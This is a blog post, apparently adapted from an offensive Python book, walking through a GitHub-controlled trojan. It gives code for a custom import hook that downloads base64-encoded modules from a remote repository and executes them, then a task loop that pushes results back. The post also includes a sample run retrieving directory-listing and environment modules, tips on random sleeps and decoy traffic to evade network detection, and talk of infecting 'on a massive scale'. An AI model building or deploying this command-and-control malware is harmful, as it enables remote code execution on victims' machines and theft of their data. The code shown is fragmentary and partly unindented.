October 3, 2023
How To Hack Python's Import Functionality

How To Hack Python's Import Functionality

If you’ve made it this far in the article, you know that we use Python’s import functionality to pull in external libraries so that we can use the code contained within. We want to be able to do the same thing for our trojan, but beyond that, we also want to make sure that if we pull in a dependency (such as Scapy or netaddr), our trojan makes that module available to all subsequent modules that we pull in. Python allows us to insert our own functionality into how it imports modules, such that if a module cannot be found locally, our import class will be called, which will allow us to remotely retrieve the library from our repo. This is achieved by adding a custom class to the sys.meta_path list.

Let’s create a custom loading class now by adding the following code:

class GitImporter(object):
 def __init__(self):
 self.current_module_code = ""
 def find_module(self,fullname,path=None):
 if configured:
 print "[*] Attempting to retrieve %s" % fullname
 new_library = get_file_contents("modules/%s" % fullname) 
 if new_library is not None:
 self.current_module_code = base64.b64decode(new_library) 
 return self
 return None

Every time the interpreter attempts to load a module that isn’t available, our GitImporter class is used. The find_module function is called first in an attempt to locate the module. We pass this call to our remote file loader and if we can locate the file in our repo, we base64-decode the code and store it in our class.

def load_module(self,name):
 module = imp.new_module(name) 
 exec self.current_module_code in module.__dict__ 
 sys.modules[name] = module 
 return module

By returning self, we indicate to the Python inter- preter that we found the module and it can then call our load_module func- tion to actually load it. We use the native imp module to first create a new blank module object and then we shovel the code we retrieved from GitHub into it. The last step is to insert our newly created module into the sys.modules list so that it’s picked up by any future import calls.

Now let’s put the finishing touches on the trojan and take it for a spin.

def module_runner(module):
 result = sys.modules[module].run() 

While we’re in the module_runner function, we simply call the module’s run function to kick off its code.

# store the result in our repo

When it’s done running, we should have the result in a string that we then push to our repo.

# main trojan loop 
 sys.meta_path = [GitImporter()] 
while True:
 if task_queue.empty():

We first make sure to add our custom module importer before we begin the main loop of our application.

config = get_trojan_config()

The first step is to grab the configuration file from the repo and then we kick off the module in its own thread.

for task in config:
 t = threading.Thread(target=module_runner,args=(task['module'],)) 

The end of our trojan will then sleep for a random amount of time in an attempt to foil any network pattern analysis. You could of course create a bunch of traffic to Google.com or any number of other things in an attempt to disguise what your trojan is up to.

Now let’s take it for a spin!

If you have sensitive information in files or environment variables, remember that without a private repository, that information is going to go up to GitHub for the whole world to see. Don’t say I didn’t warn you—and of course you can use some encryption techniques.

Let’s Check Our Code

All right! Let’s take this thing for a spin by running it from the command line.

$ python git_trojan.py
[*] Found file abc.json
[*] Attempting to retrieve dirlister
[*] Found file modules/dirlister
[*] Attempting to retrieve environment
[*] Found file modules/environment
[*] In dirlister module
[*] In environment module.

Perfect. It connected to my repository, retrieved the configuration file, pulled in the two modules we set in the configuration file, and ran them.

Now if you drop back in to your command line from your trojan directory, enter:

$ git pull origin master
 * branch master -> FETCH_HEAD
Updating f4d9c1d..5225fdf
data/abc/29008.data | 1 +
data/abc/44763.data | 1 + 
 2 files changed, 2 insertions(+), 0 deletions(-)
 create mode 100644 data/abc/29008.data
 create mode 100644 data/abc/44763.data

Awesome! Our trojan checked in the results of our two running modules.

There are a number of improvements and enhancements that you can make to this core command-and-control technique. Encryption of all your modules, configuration, and exfiltrated data would be a good start. Automating the backend management of pull-down data, updating configuration files, and rolling out new trojans would also be required if you were going to infect on a massive scale. As you add more and more functionality, you also need to extend how Python loads dynamic and compiled libraries.

For now, let’s work on creating some standalone trojan tasks, and I’ll leave it to you to integrate them into your new GitHub trojan.

Also Check How To Build A GitHub Aware Trojan In Python.

1 thought on “How To Hack Python’s Import Functionality

Leave a Reply

Your email address will not be published. Required fields are marked *